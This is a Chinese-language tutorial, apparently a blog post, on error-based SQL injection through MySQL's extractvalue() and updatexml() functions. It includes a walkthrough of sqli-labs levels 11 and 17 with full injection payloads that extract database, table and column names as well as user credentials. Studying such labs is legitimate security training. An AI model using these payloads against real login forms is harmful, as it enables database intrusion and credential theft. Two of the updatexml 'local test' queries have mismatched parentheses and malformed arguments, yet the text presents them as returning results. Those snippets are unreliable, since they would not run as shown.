学习extractvalue()、updatexml()报错注入

extractvalue()

函数简介

对XML文档进行查询的函数

相当于我们熟悉的html 文件中使用的

1
<dir> <p> <a>

语法

extractvalue(目标xml文档,xml路径)

函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。

如果是正常的格式,即查询不到也不会报错,下面进行测试

本地测试

构造正常格式的sql语句

1
select extractvalue(1,concat('/',(select database())));

结果既没数据返回也没有报错

接下里我们开始构造非法格式的sql语句,看看我们能够得到什么信息

正常格式为/xx/xx/,所以我们非法格式可以尝试 \ , ~ 来使sql语句变成非法格式。

1
select extractvalue(1,concat(0x5c,(select database())));

0x5c (‘\),还可以使用0x7e (~)

发现返回了非法内容,而且返回的是我们非法查询的内容。

深入了解

sqli-labs-less11

打开关卡看到一个登录页面

尝试输入 admin’ # 不输密码登录成功,看到登录用户为admin

然后在构造admin’ and 1=1# 登录正常

再构造admin’ and 1=2# 出现报错

可以得到存在报错注入,开始注入,上extractvalue

爆数据库payload

1
admin' and extractvalue(1,concat(0x5c,(select database())))#

得到数据库

爆表名payload

1
admin' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#

爆列名payload

1
admin' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users')))#

爆字段数据payload

1
admin' and extractvalue(1,concat(0x5c,( select group_concat(username,0x3a,password) from users)))#

updatexml()

函数简介

updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。

语法

updatexml(目标xml文档,xml路径,更新的内容)

和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。

本地测试

可以构造合法的sql查询语句

1
select (updatexml('/',(select database(),'/')));

可以得到正常回显/ ,是因为我们的函数更新内容填的是’/

然后我们构造非法格式的内容,进行查询。

1
select updatexml(0x5c,(select database())),0x5c);

可以得到更新后的结果,得到数据库

深入了解

sqli-labs-less17

通过题目名称可以知道是关于updatexml的更新报错注入

经过测试发现注入点再password处

构造payload爆库名

1
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

得到库名

构造payload爆表名

1
1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)#

构造payload爆列名

1
1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x5c),1)#

爆字段

1
1' and updatexml(1,concat(0x5c,(select group_concat(username) from users ),0x5c),1)#

总结

这两个函数都是对XML文档进行操作,通过构造非法格式的内容使得函数不能正常执行,通过报错或更新将我们的非法查询的内容回显出来。